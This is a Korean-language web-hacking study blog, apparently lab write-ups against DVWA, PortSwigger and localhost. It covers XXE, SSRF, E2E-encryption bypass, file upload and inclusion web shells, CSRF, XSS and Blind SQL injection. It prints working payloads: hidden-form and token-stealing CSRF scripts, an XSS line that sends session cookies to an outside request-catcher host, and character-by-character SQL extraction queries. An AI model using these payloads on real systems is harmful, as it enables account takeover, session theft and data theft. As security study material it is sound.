1. XXE Injection?

  • XXE(XML eXternal Entity) Injection 취약점은 XML 데이터를 제대로 검증하지 않거나 안전하게 파싱하지 않고 사용자가 제어하는 입력에서 XML 데이터를 가져올 때 발생하며 이를 통해 악의적인 작업을 수행할 수 있다.
  • 민감한 파일 노출부터 백엔드 서버 다운 등을 통해서 웹 어플리케이션이나 백엔드 서버에 상당한 위협이 된다.

 

2. XML DTD

  • XML DTD(Document Type Definition)을 사용하면 미리 정의된 문서 구조에 대해 XML 문서의 유효성을 검사할 수 있다.
  • 미리 정의된 구조는 문서 자체로 정의될 수 있거나 외부파일형태도 가능하다.
  • 내부 XML DTD에선 다음과 같이 선언할 수 있다.

<!ENTITY 엔터티이름 "엔터티값">

  • 외부 XML DTD에선 다음과 같이 선언할 수 있다.

<!ENTITY 엔터티이름 SYSTEM "http://web.com/entity.dtd">

 

3. XXE Injection

1. XXE Injection 취약점이 존재하는 페이지에 들어간다.

 

2. blue라는 데이터에 "Hack!!"이라는 문구를 넣어서 blue를 호출해 Hack!!문구를 출력한다.

 

3. 내부 서버에 중요 파일을 가져올수 있습니다.

'Web Hacking' 카테고리의 다른 글

E2E 암호화  (0) 2023.03.01
SSRF  (0) 2023.02.24
웹 모의 해킹 취약점 항목 분석(#1)  (0) 2023.02.11
불충분한 인증/인가 취약점  (0) 2023.01.17
파일 업로드 취약점  (0) 2023.01.04

E2E 암호화란?

  • End to End Encrpytion의 약자로, 연결된 양 종단기기만 서로 평문을 볼 수 있도록 하고 그 사이에는 복호화 할 수 없는 암호문만 전달하는 것이다
  • 권한 있는 사용자만이 읽을 수 있도록 데이터를 조합하는 암호화 키를 사용한다. 엔드투엔드 암호화 역시 이와 같은 프로세스를 사용한다. 그러나, 엔드투엔드 암호화는 엔드포인트 간 통신에 보안을 적용하여 이 프로세스를 더 강화한다.
  • 엔드투엔드 암호화의 경우 암호 해독 키를 가진 사람만이 암호화 데이터를 볼 수 있습니다. 다시 말해, 의도된 열람자만이 액세스 권한과 읽기 및 수정 능력을 가져야 하는 경우 E2E는 제3자를 포함한 의도되지 않은 사용자가 데이터를 읽거나 수정하지 못하도록 차단합니다.

 

E2E 암호화의 중요성

  • 엔드투엔드 암호화는 사이버 공격으로부터 데이터를 보호하는 데 도움을 줄 수 있습니다. 
  • 엔드투엔드 암호화는 암호화된 메시지 전송 이상의 기능을 제공합니다. 엔드투엔드 암호화는 저장된 데이터에 사용자 액세스 권한을 부여하기 위한 통제 장치를 지원할 수 있습니다. 

 

E2E 작동 원리

  • 엔드투엔드 암호화는 정보를 암호문이라는 읽기가 불가능한 형식으로 변환하여 보호하는 방법인 암호작성술에서 시작됩니다. 비밀 키를 가진 사용자만이 이러한 메시지를 평문으로 해독할 수 있습니다.
  • E2EE를 사용하면 송신자 또는 작성자는 데이터를 암호화하고 의도된 수신자 또는 열람자만이 이를 해독할 수 있습니다.
  • 비대칭 또는 공개 키 암호작성술은 두 개의 별도의 암호 키를 사용하여 데이터를 암호화 및 해독합니다. 공개 키는 메시지를 암호화하여 공개 키 소유자에게 보내는 데 사용됩니다.
  • 그 다음, 이 메시지는 암호 해독 키라고도 부르는 해당 비공개 키를 사용할 경우에만 해독할 수 있습니다. 예를 들면, TLS(Transport Layer Security) 암호화 프로토콜은 제3자가 이동 중 메시지를 가로채지 못하도록 차단합니다.

 

E2E 암호화 우회 방법

1) js 파일 분석

  • E2E 암호화를하여 파라미터를 보내는 페이지가 존재할 경우 E2E암호화를 하는 js파일을 먼저 분석합니다.
  • 전달되는 데이터가 암호화 되는 곳을 찾아 암호화되기전에 prompt를 이용해 파라미터를 확인할 수 있습니다.

ex) id.value = prompt('ID value', id.value);

 

2) 편법

  • E2E 암호화가 엄청 오래된 암호화 기법은 아니기때문에 웹사이트마다 적용할 때 호환성 문제가 발생할 수 있습니다. 이를 이용한 우회 기법입니다.
  • 각 페이지마다 E2E암호화를 사용하는 페이지가 존재하고 그렇지 않은 페이지가 존재하는데 js파일을 먼저 분석해보면 if문 같은 방식으로 E2E암호화를 적용하거나 적용하지 않는 구문이 있습니다.

ex) if(enctp==1){

      복호화

} else{

      그냥처리

}

 

  • E2E암호화하는 페이지에 enctp=0으로 수정하여 요청을 보내면 E2E 암호화를 사용하지 않고 파라미터를 전송하여 확인할 수 있습니다.

'Web Hacking' 카테고리의 다른 글

XXE Injection  (0) 2023.03.03
SSRF  (0) 2023.02.24
웹 모의 해킹 취약점 항목 분석(#1)  (0) 2023.02.11
불충분한 인증/인가 취약점  (0) 2023.01.17
파일 업로드 취약점  (0) 2023.01.04

1. SSRF?

  • CSRF가 클라이언트 측에서 위조된 요청을 보내는 거라면 SSRF는 서버 측에서 위조된 요청을 보내도록 하는 취약점이다.
  • SSRF 취약점을 이용해서 공격자는 웹앱과 같은 서버측 프로그램이 임의의 주소로 HTTP 요청을 보내게 된다. 그러면 일반적으로 사용자들이 접근할 수 없었던 서버 내부 자원에 접근해서 API key와 같은 중요 데이터가 유출되거나 내부 네트워크 스캔 그리고 경우에 따라 임의 코드 실행이나 임의 파일 쓰기 등의 허가받지 않은 행위가 가능할 수 있다.

SSRF 공격과정

 

1) SSRF 공격

1. 홈페이지에 접속합니다

 

2. 상품을 클릭해 재고개수를 알려주는 check stock을 클릭합니다.

 

3. api 기능을 이용하여 재고개수를 가져오는 stockApi구문을 확인합니다

 

4. "stockApi= http://127.0.0.1/admin" 해당 페이로드를 삽입하여 관리자 페이지에 접속할 수 있습니다.

 

'Web Hacking' 카테고리의 다른 글

XXE Injection  (0) 2023.03.03
E2E 암호화  (0) 2023.03.01
웹 모의 해킹 취약점 항목 분석(#1)  (0) 2023.02.11
불충분한 인증/인가 취약점  (0) 2023.01.17
파일 업로드 취약점  (0) 2023.01.04

1. 일반 공통 항목

 

1) SQL Injection

  • SQL Injection 이란 악의적인 사용자가 보안상의 취약점을 이용하여, 임의의 SQL 문을 주입하고 실행되게 하여 데이터베이스가 비정상적인 동작을 하도록 조작하는 행위 입니다. 인젝션 공격에 성공할 경우 큰 피해를 입힐 수 있습니다.

SQL Injection 진행과정

1-1 SQL Injection의 종류

- Error Based SQL Injection

  • SQL 쿼리에 고의적으로 오류를 발생시켜, 출력되는 에러의 내용을 통해 필요한 정보를 찾아낸다.

- UNION Based SQL Injection

  • 2개 이상의 쿼리를 요청하여 결과를 얻는 UNION이라는 SQL 연산자를 이용한 SQL Injection 공격을 말하며 공격자는 이 연산자를 이용하여 원래의 요청에 한개의 추가 쿼리를 삽입하여 정보를 얻어낸다

- Blind SQL Injection

  • Blind SQL Injection은 서버가 쿼리에 대한 결과가 참인지 거짓인지에 따라 다른 응답을 주는 점을 이용하여 정보를 얻어내는 공격이다

 

2) 악성파일 업로드

  • 파일 업로드 기능이 존재하는 웹 사이트의 확장자 필터링이 미흡할 경우 공격자가 악성 파일을 업로드 하여 시스템을 장악할 수 있는 취약점이다
  • 서버상에서 악성 스크립트를 실행하여 쉘을 획득하는 공격으로 시스템 권한을 획득하거나 서버를 변조시키는 등의 방법으로 웹 서버를 장악한다.

악성파일 업로드 공격과정

 

3) 부적절한 이용자 인가 여부

  • 부적절한 이용자 인가 여부 취약점은 중요 정보를 다루는 페이지에 대한 인증 절차가 미흡할 경우 발생하는 취약점이다.
  • 인증 기능(로그인, 중요 페이지에 대한 추가 인증)은 구형하였으나 추측 가능한 패스워드, 취약한 인증 프로세스로 구현되어 우회하거나 무력화하여 접근할 수 있다.

 

4) 이용자 인증정보 재사용

  • OTP/SMS/계좌 인증의 사용되는 일회성 인증정보가 일회성으로 휘발되지 않고 재사용되고있는 취약점이다
  • 중간자공격등에 의해 인증정보가 탈취되었을 경우 공격자가 인증정보를 재사용하여 공격할 수 있다.

 

5) 고정된 인증정보 이용

  • SMS/ARS등 이용자 인증을 위해 사용되는 인증정보가 무작위로 계속 바뀌면서 생성되지않고 고정적으로 똑같은 인증정보가 생성되는 취약점이다

 

6) 유추가능한 인증정보 이용

  • 비밀번호와 PIN번호 설정시 유추가능한 비밀번호로 설정하는 취약점이다
  • 이용자의 생년월일, 핸드폰 번호등 신상정보나 1234같은 연속문자, 너무짧은 비밀번호 설정시 해당 취약점이 발생한다.

 

7) 유추가능한 초기화 비밀번호 이용

  • 해당 취약점은 비밀번호를 잊어버려 초기화할 때 유추가능한 비밀번호로 초기화되는 취약점이다
  • 이용자의 생년월일, 핸드폰 번호, 이름등으로 초기화할 시 해당 취약점이 발생한다

 

8) 파일 다운로드

  • 파일 다운로드 기능 사용 시 임의의 문자나 주요 파일의 입력을 통해 웹 서버의 홈 디렉터리를 벗어나 임의의 위치에 있는 파일을 열람하거나 다운 가능한 취약점(passwd, 중요파일/백업, 데이터베이스, 소스코드 정보 등)

파일다운로드 공격과정

 

9) 유추가능한 세션ID

  • 세션ID를 발급할 때 복잡하지 않고 단순하여 유추가 가능하거나 무차별 대입공격 시 취약한 취약점입니다.

 

10) 운영체제 명령 실행

  • 운영체제 명령실행 이라는 취약점은, 웹에서 시스템 명령어를(system, exec) 실행 시킬 수 있는 환경을 제공한 대상에게 실행되는 취약점 입니다.
  • 시스템 명령어 호출로 인한 백도어 설치 및 관리자 권한 탈취 등의 문제가 발생 할 수 있으므로 이에대한 대비가 가능 하여야 합니다.

'Web Hacking' 카테고리의 다른 글

E2E 암호화  (0) 2023.03.01
SSRF  (0) 2023.02.24
불충분한 인증/인가 취약점  (0) 2023.01.17
파일 업로드 취약점  (0) 2023.01.04
CSRF  (0) 2022.12.27

1. 불충분한 인증/인가 취약점

 

1) 정의

1-1 인증?

  • 인증은 자신이 A라고 주장하는 사람이 실제로 A가 맞는지 확인하는 과정으로 로그인 인증, 본인인증 등이 있다,
  • 인증이 불충분하다면 사용자를 식별하는 과정에서 우회나 변조가 발생할 수 있다

1-2 인가?

  • 인가는 사용자에게 권한을 부여하는 것으로 작성자만 글을 수정하거나 삭제할 수 있도록 허용하는 것을 예시로 들 수 있다.
  • 인가가 불충분하다면 권한이 부여되지 않은 사용자가 허가되지 않은 페이지에 접근 할 수 있다.

1-3 인증/인가 취약점

  • 불충분한 인가 취약점은 중요 정보를 다루는 페이지에 대한 인증 절차가 미흡할 경우 발생하는 취약점이다.
  • 인증 기능(로그인, 중요 페이지에 대한 추가 인증)은 구형하였으나 추측 가능한 패스워드, 취약한 인증 프로세스로 구현되어 우회하거나 무력화하여 접근할 수 있다.

 

2. 불충분한 인증/인가 공격(1)

  • 프록시 도구를 이용해 해당 페이지의 흐름을 파악하여 이상한 점을 추측해 공격하거나 인가되지 않은 페이지로 접속한다.

 

1) 공격과정

  • 페이지의 흐름을 파악하기 위해 서비스를 이용한다.
  • 프록시 도구로 서비스를 이용했을 때 페이지의 흐름을 살펴본다.
  • Step1.php -> Step2.php 순으로 페이지가 진행되는 것을 확인한다.
  • Step3.php도 있을 것으로 추측해 접속해본다.
  • 인가되지 않은 사용자가 접속하여 공격이 이루어진다.

 

2) 실제화면

메인페이지의 흐름
Step1.php의 흐름
Step2.php의 흐름
Step3.php의 흐름
인가되지 않은 사용자가 서비스 이용화면

 

3. 불충분한 인증/인가 공격(2)

  • 프록시 도구를 이용해 해당 페이지의 주석처리된 부분을 취약점으로 여겨 인가되지 않은 사용자가 접속한다.

 

1) 공격과정

  • 페이지의 흐름을 파악하기 위해 서비스를 이용한다.
  • 프록시 도구로 서비스를 이용했을 때 페이지의 흐름을 살펴본다.
  • 버튼을 눌렀을 때 동작되는 코드가 주석 처리되어 있는 것을 확인한다.
  • 주석처리가 되어있는 페이지로 접속을 시도한다.
  • 인가되지 않은 사용자가 접속하여 공격이 이루어진다.

 

2) 실제화면

메인페이지의 흐름
주석처리된 페이지로 접속

 

4. 불충분한 인증/인가 공격(3)

  • 프록시 도구를 이용해 해당 페이지와 자바스크립트의 흐름을 파악하여 이상한 점을 추측해 공격하거나 인가되지 않은 페이지로 접속한다.

 

1) 공격과정

  • 페이지의 흐름을 파악하기 위해 서비스를 이용한다.
  • 프록시 도구로 서비스를 이용했을 때 페이지의 흐름을 살펴본다.
  • 버튼을 클릭했을 때 자바스크립트로 넘어가는 흐름을 파악한다.
  • 자바스크립트 파일을 분석해 취약점을 찾아본다.
  • 의심되는 페이지로 접속을 시도한다.
  • 인가되지 않은 사용자가 접속하여 공격이 이루어진다.

 

2) 실제화면

메인페이지의 흐름
자바스크립트의 흐름
인가되지 않은 사용자가 서비스 이용화면

'Web Hacking' 카테고리의 다른 글

SSRF  (0) 2023.02.24
웹 모의 해킹 취약점 항목 분석(#1)  (0) 2023.02.11
파일 업로드 취약점  (0) 2023.01.04
CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16

1. 파일 업로드 취약점

 

1) 정의

  • 파일 업로드 취약점은 웹 사이트의 파일 업로드 기능을 이용하여 인가 받지 않은 파일을 서버에 임의로 업로드 하는 공격이다. 
  • 웹 쉘 형태의 파일을 업로드 후 실행하면 서버의 자원을 장악할 수 있으며 웹 서비스를 실행하는 서버의 권한을 획득할 수 있다. 
  • 다른 페이지의 코드를 변조하여 클라이언트에게 악성 코드를 배포할 수 있다.

 

2) 파일 업로드 공격 원리

행위 발생원인
악의적인 파일 업로드 파일 업로드 시 확장자 체크의 미흡, PUT 메소드 이용
업로드 경로 확인 업로드 디렉토리의 경로 노출
스크립트 실행 실행 권한 존재
  • 위 표의 3가지 조건이 모두 만족할 때 발생하는 취약점이 파일 업로드 공격이다.

 

1. 파일 업로드 공격: 기본

  • 웹페이지에 어떠한 보안대책과 대응방안이 없을 때 파일 업로드 취약점을 이용해 공격한다.

1) 공격 과정

  • php코드를 이용해 웹쉘 작성
  • 게시판에 웹쉘 업로드
  • 프록시 도구를 이용해 업로드 디렉토리의 경로 확인
  • 해당 경로로 이동 후 웹쉘 실행하여 공격

2) 실제 화면

웹쉘 코드

 

웹쉘 업로드

 

업로드 디렉토리 경로 확인

 

웹쉘 실행

 

2. 파일 업로드 공격: 파일 검증 우회

 

1) 파일 검증 우회?

  • 서버는 파일을 주고받을 때 MIME Type으로 파일의 종류를 확인한다.
  • MIME Type의 Content Type을 확인해서 image/jpg등인 경우에만 업로드 할 수 있도록 개발하는 방식

2) 공격 과정

  • php코드를 이용해 웹쉘을 작성한다.
  • 정상적인 image파일을 업로드한다.
  • 웹쉘 업로드를 시도한다.
  • 실패 시 프록시 도구로 해당 패킷을 잡아 정상 업로드와 실패 업로드의 차이를 비교한다.
  • 파일 검증 우회인 경우로 확인되면 Content Type부분을 image/jpg로 수정후 다시 보낸다.
  • 업로드 성공 후 해당 경로로 이동하여 웹쉘 실행

3) 실제 화면

이미지 파일 업로드 시 화면

 

웹쉘 업로드 시 화면

 

Content Type 변경 후 업로드 성공 화면

 

웹쉘 실행

 

1. File Inclusion 취약점

  • 공격자가 악성코드 혹은 웹셸을 서버에 전달하여 해당 페이지를 통해 실행 되도록 하는 취약점
  • 악성 스크립트가 삽입되는 위치에 따라 LFI, RFI로 분류
  • 경로 제한, 파라미터 변조 등에 대한 필터링의 부재로 경로 접근, 파일 실행, 외부 파일 다운로드 등의 다양한 공격으로 활용 가능

 

1) LFI 공격

  • Jpg, png 파일 정상적으로 업로드한다.
  • 프록시 도구를 이용해 파일 내용 가장 밑에 웹셸코드를 삽입하여 업로드한다.
  • File Inclusion 취약점이 있는 페이지에서 웹셸코드를 삽입한 파일의 경로를 파라미터에 삽입한다.
  • 공격을 실행한다.

1-1 실제화면

기존 jpg파일 내용에 웹셸코드 삽입

 

웹쉘 실행 후 공격

 

2) RFI 공격

  • 해커 서버에 웹셸코드를 작성한다.
  • File Inclusion 취약점이 있는 페이지에서 웹셸코드를 삽입한 파일의 경로를 파라미터에 삽입한다.
  • 공격을 실행한다.

2-1 실제화면

해커서버의 웹쉘코드

 

웹쉘 실행 후 공격

 

'Web Hacking' 카테고리의 다른 글

웹 모의 해킹 취약점 항목 분석(#1)  (0) 2023.02.11
불충분한 인증/인가 취약점  (0) 2023.01.17
CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16
Blind SQLi  (0) 2022.12.05

1. CSRF

 

1) 정의

  • csrf공격(Cross Site Request Forgery)은 웹 어플리케이션 취약점 중 하나로 인터넷 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록)를 특정 웹사이트에 요청하게 만드는 공격이다.

2) CSRF 종류

  • GET방식일 때 공격
  • POST방식일 때 공격
  • Referer 헤더 검증할 때 공격
  • CSRFToken

 

2. GET 방식일 때 공격

 

1) 요청이 GET 방식일 때?

  • 어떤 요청이 GET방식이라면, XSS와 연계해서 비밀번호를 변경하는 링크를 만들어서 (Reflected XSS) 사용자가 클릭하게 만들거나, img태그의 경로 src에 비밀번호를 변경하는 링크를 넣어서(Stored XSS) 공격할 수 있다.

2) 공격 방법

공격 시 삽입 구문: password_new=1234&password_conf=1234&Change=Change

공격 후 구문: GET /dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change

  • GET방식은 파라미터에 비밀번호 변경 요청이 남기 때문에 파라미터값을 수정한다.
  • 파라미터값을 수정한 URL을 공격대상에게 전달한다.
  • 공격대상이 링크를 클릭하면 공격이 실행되어 비밀번호변경 요청이 성공한다.

공격 시도 화면
공격 성공 화면

 

3. POST 방식일 때 공격

 

1) 요청이 POST 방식일 때?

  • get방식과 다르게 URL에 파라미터가 남지 않는다.
  • XSS가 가능한 페이지에 비밀번호 변경을 요청하는 form태그를 삽입해서 공격을 유도한다.

2) 공격 방법

공격 시 삽입 구문:

Hi~~

<iframe width="0" border="0" name="stealthframe" style="display:none;"></iframe>

<body onload="document.csrf.submit();">

<form method="POST" name="csrf" action="http://127.0.0.1:8000/mychange_ok.php"

target="stealthframe">

<input type="hidden" name="pw2" value="1111">

<input type="hidden" name="name2" value="blue">

</form>

  • XSS가 가능한 페이지에 공격 시 삽입 구문과 같은 비밀번호변경을 요청하는 form태그를 삽입한다
  • 피해자가 게시글을 클릭하면 비밀번호와 이름이 변경요청되어 공격이 성공한다.

공격 시도 화면
공격 성공 화면

 

4. Referer 헤더 검증할 때 공격

 

1) Referer 헤더 검증?

  • Request Header에 포함된 Referer는 현재 요청된 페이지의 링크 이전의 웹 페이지 주소를 포함한다.
  • 요청을 받는 서버는 CSRF를 막기 위해 정해준 Referer만 허용해주는 유효성 검사 로직을 추가하는 조치를 취한다
  • 이후에 피싱페이지에서 의도하지 않은 행위를 한다면, 이전에 작성한 Referer 값 유효성 검사에서 걸러질 것이다.

2) 공격 방법

공격 시 삽입 구문:

Hi~~

<iframe width="0" border="0" name="stealthframe" style="display:none;"></iframe>

<body onload="document.csrf.submit();">

<form method="POST" name="csrf" action="https://0acf00b403843656c0821da300f300c8.web-security-academy.net/my-account/change-email" target="stealthframe">

<input type="hidden" name="email" value="red@test.com">

</form>

공격 후 구문: email=red%40test.com

  • post방식과 같이 form 태그를 삽입하여 피해자가 클릭하게 유도한다.
  • 하지만 Referer 헤더 검증 때문에 csrf공격이 실패하게 된다.
  • 프록시도구로 이메일 변경을 요청하는 페이지를 리피터로 옮겨 Referer: 부분을 삭제하여 공격한다.

공격 시도 화면
Referer 헤더 검증으로 인한 공격 실패
Referer 제거 후 공격 성공

 

5. CSRF Token

 

1) CSRF Token?

  • 서버에 들어온 요청이 실제 서버에서 허용한 요청이 맞는지 확인하기 위한 토큰
  • 서버에서는 뷰 페이지를 발행할 때 랜덤으로 생성된 Token을 같이 준 뒤 사용자 세션에 저장해둔다.
  • 사용자가 서버에 작업을 요청할 때 페이지에 Token값이 같이 서버로 전송하여 서버에서 Token값이 세션에 저장된 값과 일치하는지 확인한다.

 

2) 공격 방법

공격 시 삽입 구문: 

<html>

<body>

<p>TOTALLY LEGITIMATE AND SAFE WEBSITE </p>

<iframe id="myFrame" src="http://192.168.219.112/dvwa/vulnerabilities/csrf" style="visibility: hidden;" onload="maliciousPayload()"></iframe>

<script>

function maliciousPayload() {

console.log("start");

var iframe = document.getElementById("myFrame");

var doc = iframe.contentDocument  || iframe.contentWindow.document;

var token = doc.getElementsByName("user_token")[0].value;

const http = new XMLHttpRequest();

const url = "http://192.168.219.112/dvwa/vulnerabilities/csrf/?password_new=hackerman&password_conf=hackerman&Change=Change&user_token="+token+"#";

http.open("GET", url);

http.send();

console.log("password changed");

}

</script>

</body>

</html>

공격 후 구문:

password_new=hackerman&password_conf=hackerman&Change=Change&user_token=43c74e1d88dc7672a04fecc287c72578

  • 먼저 정상적으로 비밀번호 변경을 요청했을 때 어떤 방식으로 처리되는지 확인한다.
  • 공격 시 삽입 구문에 있는 스크립트를 파일 업로드 취약점을 이용해 .html파일로 업로드한다.
  • 공격 시 삽입 구문 파일을 웹에서 실행하면 maliciousPayload 스크립트가 실행된다
  • 페이로드가 실행되면 토큰값을 받아와 비밀번호 변경을 요청하는 페이지에 토큰값을 넣어 해당 비밀번호로 변경하는 공격이 실행된다.
  • F12를 눌러 console창을 보면 password changed라는 문구와 함께 비밀번호가 변경이 되어있다.

html파일 업로드 성공 화면
공격 성공 화면

 

'Web Hacking' 카테고리의 다른 글

불충분한 인증/인가 취약점  (0) 2023.01.17
파일 업로드 취약점  (0) 2023.01.04
XSS  (0) 2022.12.16
Blind SQLi  (0) 2022.12.05
Error Based SQLi  (0) 2022.12.05

1. XSS

1) 정의

  • Cross Site Scripting의 약자로 게시판이나 웹 메일 등에 자바 스크립트와 같은 스크립트 코드를 삽입 해 개발자가 고려하지 않은 기능이 작동하게 하는 클라이언트를 대상으로 하는 공격이다.

 

2) XSS 종류

  • Reflected XSS
  • Stored XSS
  • Dom Based XSS

 

2. Reflected XSS

1) Reflected XSS란?

  • Reflected XSS 공격은 사용자에게 입력 받은 값을 서버에서 되돌려 주는 곳에서 발생한다. 
  • 보통 Reflected XSS 는 공격자가 악의적인 스크립트와 함께 URL을 사용자에게 누르도록 유도하고, URL을 누른 사용자는 악의적인 스크립트가 실행되면서 공격이 실행된다

 

2) 공격 방법

  • 공격 시 삽입 구문: <script>alert(“hi~~”);</script>
  • 공격 후 구문: </textarea>john<script>alert(“hi~~”);</script>
  • 공격시 삽입 구문만 입력하게 되면 <textarea>안으로 구문이 들어가기 때문에 스크립트가 실행되지 않는다.
  • 해당 페이지처럼 <textarea>안으로 내용이 들어가게 될 경우 공격 후 구문처럼 <textarea>밖으로 빠져나온 뒤 스크립트를 실행해야 한다.

공격 시도 화면
공격 성공 화면

  • 위 사진들과 같이 공격이 성공하게 되면 Reflected방식으로 공격하기 위해 해당 URL을 피해자에게 전달한다.
  • 피해자가 해당 URL을 클릭하면 다음과 같이 알림창이 뜨면서 공격이 이루어진다.

 

2. Stored XSS

1) Stored XSS란?

  • XSS 공격 종류 중 하나인 Stored XSS 는 지속적으로 피해를 입히는 XSS 공격입니다. 
  • 해커는 XSS 취약점이 있는 곳에 악성스크립트를 삽입한다. 삽입된 스크립트는 데이터베이스에 저장이 되고, 저장된 악성스크립트가 있는 게시글 등을 열람한 사용자들은 악성스크립트가 작동하면서 쿠키를 탈취당한다던가, 혹은 다른 사이트로 리다이렉션 되는 공격을 당하게 된다.
  • 한번의 공격으로 악성스크립트를 삽입하여 수많은 피해를 입힐 수 있다.

 

2) 공격방법

- 이번에는 Stored XSS를 이용해 세션탈취를 해보겠다.

 

    • 공격 시 삽입 구문:  <script>document.location="https://ictmmbn.request.dreamhack.games"</script>
    • 공격 후 구문: </textarea>john<script>document.location="https://ictmmbn.request.dreamhack.games"</script>
  • 공격시 삽입 구문만 입력하게 되면 <textarea>안으로 구문이 들어가기 때문에 스크립트가 실행되지 않는다.
  • 해당 페이지처럼 <textarea>안으로 내용이 들어가게 될 경우 공격 후 구문처럼 <textarea>밖으로 빠져나온 뒤 스크립트를 실행해야 한다.
  • 위 공격으로 게시판에 글이 저장되면 피해자가 글을 클릭함과 동시에 위 스크립트가 실행되면 해당 서버로 세션값이 넘어가 저장된다.

 

공격 시도 화면
공격 성공 화면
해커서버에 저장된 세션값

 

3. Dom Based XSS

1) Dom Based XSS란?

  • DOM Based XSS는 브라우저에서 DOM 객체에 접근해, 새로운 요소를 생성하거나 수정하는 과정에서 사용자 입력값으로 인해 결과적으로 악의적인 스크립트가 실행되는 것이다.
  • Stored XSS 및 Reflected XSS 공격의 악성 페이로드가 서버 측 애플리케이션 취약점으로 인해, 응답 페이지에 악성 스크립트가 포함되어 브라우저로 전달되면서 공격하는 것인 반면 DOM Based XSS는 서버와 관계없이 브라우저에서 발생하는 것이 차이점이다.

 

2) 공격 방법

    • 공격 시 삽입 구문: ?default=asdf
    • 공격 후 구문: 127.0.0.1/dom.html?default=asdf
    • Document.write 다음구문에 <OPTION value=1></OPTION>사이에 넣어 document객체를 수정한다.
    • asdf라는 선택지는 실제로 없지만 공격 시 삽입 구문으로 공격을 수행하면 asdf라는 선택지가 생성된다

 

공격 대상 페이지의 응답값
공격 성공 화면

'Web Hacking' 카테고리의 다른 글

파일 업로드 취약점  (0) 2023.01.04
CSRF  (0) 2022.12.27
Blind SQLi  (0) 2022.12.05
Error Based SQLi  (0) 2022.12.05
UNION Based SQLi  (0) 2022.11.21

1. Blind SQLi

1) 정의

  • Blind SQL 인젝션은 쿼리의 결과를 참과 거짓으로만 출력하는 페이지에서 사용하는 공격이다.
  • 출력 내용이 참 / 거짓 밖에 없어서 그것을 이용하여 데이터베이스의 내용을 추측하여 쿼리를 조작한다

 

2) 공격 방법

Blind SQLi는여러가지 정보들을 먼저 추출한는 공격을 수행한 뒤에 데이터를 수집해야한다.

순서에 따라서 다음과 같이 설명한다.

 

1) 취약점 확인

  • 프록시 도구로 간단한 테스트를 통해 Blind SQLi 취약점이 있는지 확인한다.

- 공격 시 삽입 구문: john' and '1'='1

- 프록시 도구를 이용해 해당 부분에 쿼리를 조작하여 취약점을 확인한다.

- 공격 시 삽입 구문으로 쿼리를 조작하여 로그인이 성공하면 취약점이 존재한다.

- 최종적으로 ‘1’=’1 부분에 ‘1’=’2(거짓)를 삽입하여 거짓일 경우 로그인이 실패하면 취약점이 존재한다.

 

2) 데이터베이스 이름 확인

  • Substring 함수와 ascii코드를 이용해 참/거짓 판단으로 Database 이름을 추출한다

- 공격 시 삽입 구문: john' and (ascii(substring((select database()),1,1))>0) and '1'='1

- 아스키 코드표를 보면서 데이터베이스 이름의 문자를 한 개씩 추출하면서 조합한다.

- 아스키 코드는 0보다는 무조건 크기 때문에 >0을 대입하면 참이므로 로그인이 성공한다.

- 해당 페이지에서는 76까지 참이 출력되고 77부터 거짓이 출력되므로 Database이름의 첫 번째 문자는 ‘M’ 이다.

- select database()),1,1))>0 부분에서 1,1(첫번째 문자) 2,1(두번째 문자) 순서로 삽입하여 이름을 추출한다.

- 마지막으로 >0을 대입했을 때 거짓이 나오면 더 이상 Database이름의 문자가 존재하지 않으므로 추출이 완료된 것이다.

 

3) 테이블 이름 확인

  • 추출한 Database 이름과 Substring 함수, ascii코드를 이용해 참/거짓 판단으로 테이블 이름을 추출한다.

- 공격 시 삽입 구문: john' and (ascii(substring((select table_name from information_schema.tables where table_schema='MEMBER' limit 2, 1), 1, 1))>107) and '1'='

- 아스키 코드표를 보면서 테이블 이름의 문자를 한 개씩 추출하면서 조합한다.

- 아스키 코드는 0보다는 무조건 크기 때문에 >0을 대입하면 참이므로 로그인이 성공한다.

- 해당 페이지에서는 107까지 참이 출력되고 108부터 거짓이 출력되므로 테이블이름의 첫 번째 문자는 ‘l’ 이다.

- limit 2, 1) 부분에서 0,1(첫번째 행) 2,1(두번째 행) 순서로 삽입하여 테이블 이름을 추출한다.

- ), 1, 1))>107) 부분에서 1,1(첫번째 문자) 2,1(두번째 문자) 순서로 삽입하여 테이블 이름을 추출한다.

- 마지막으로 >0을 대입했을 때 거짓이 나오면 더 이상 테이블 이름의 문자가 존재하지 않으므로 추출이 완료된 것이다

 

4) 컬럼 이름 확인

  • 추출한 테이블 이름과 Substring 함수, ascii코드를 이용해 참/거짓 판단으로 컬럼 이름을 추출한다.

- 공격 시 삽입 구문: john' and (ascii(substring((select column_name from information_schema.columns where table_name='login' limit 0, 1), 1, 1))>110) and '1'='1

- 아스키 코드표를 보면서 컬럼 이름의 문자를 한 개씩 추출하면서 조합한다.

- 아스키 코드는 0보다는 무조건 크기 때문에 >0을 대입하면 참이므로 로그인이 성공한다.

- 해당 페이지에서는 109까지 참이 출력되고 110부터 거짓이 출력되므로 컬럼 이름의 첫 번째 문자는 ‘n’ 이다.

- limit 2, 1) 부분에서 0,1(첫번째 행) 2,1(두번째 행) 순서로 삽입하여 컬럼 이름을 추출한다.

- ), 1, 1))>107) 부분에서 1,1(첫번째 문자) 2,1(두번째 문자) 순서로 삽입하여 컬럼 이름을 추출한다.

- 마지막으로 >0을 대입했을 때 거짓이 나오면 더 이상 컬럼 이름의 문자가 존재하지 않으므로 추출이 완료된 것이다

 

5) 데이터 추출

  • 추출한 정보들을 바탕으로 Substring 함수, ascii코드를 이용해 참/거짓 판단으로 데이터를 추출한다

- 공격 시 삽입 구문: john' and (ascii(substring((select pw from login where id='blue' limit 0, 1), 1, 1))>49) and '1'='1

- 아스키 코드표를 보면서 데이터의 문자를 한 개씩 추출하면서 조합한다.

- 아스키 코드는 0보다는 무조건 크기 때문에 >0을 대입하면 참이므로 로그인이 성공한다.

- 해당 페이지에서는 48까지 참이 출력되고 49부터 거짓이 출력되므로 데이터의 첫 번째 문자는 ‘1’ 이다.

- ), 1, 1))>49) 부분에서 1,1(첫번째 문자) 2,1(두번째 문자) 순서로 삽입하여 데이터 이름을 추출한다.

- 마지막으로 >0을 대입했을 때 거짓이 나오면 더 이상 데이터의 문자가 존재하지 않으므로 추출이 완료된 것이다

 

'Web Hacking' 카테고리의 다른 글

CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16
Error Based SQLi  (0) 2022.12.05
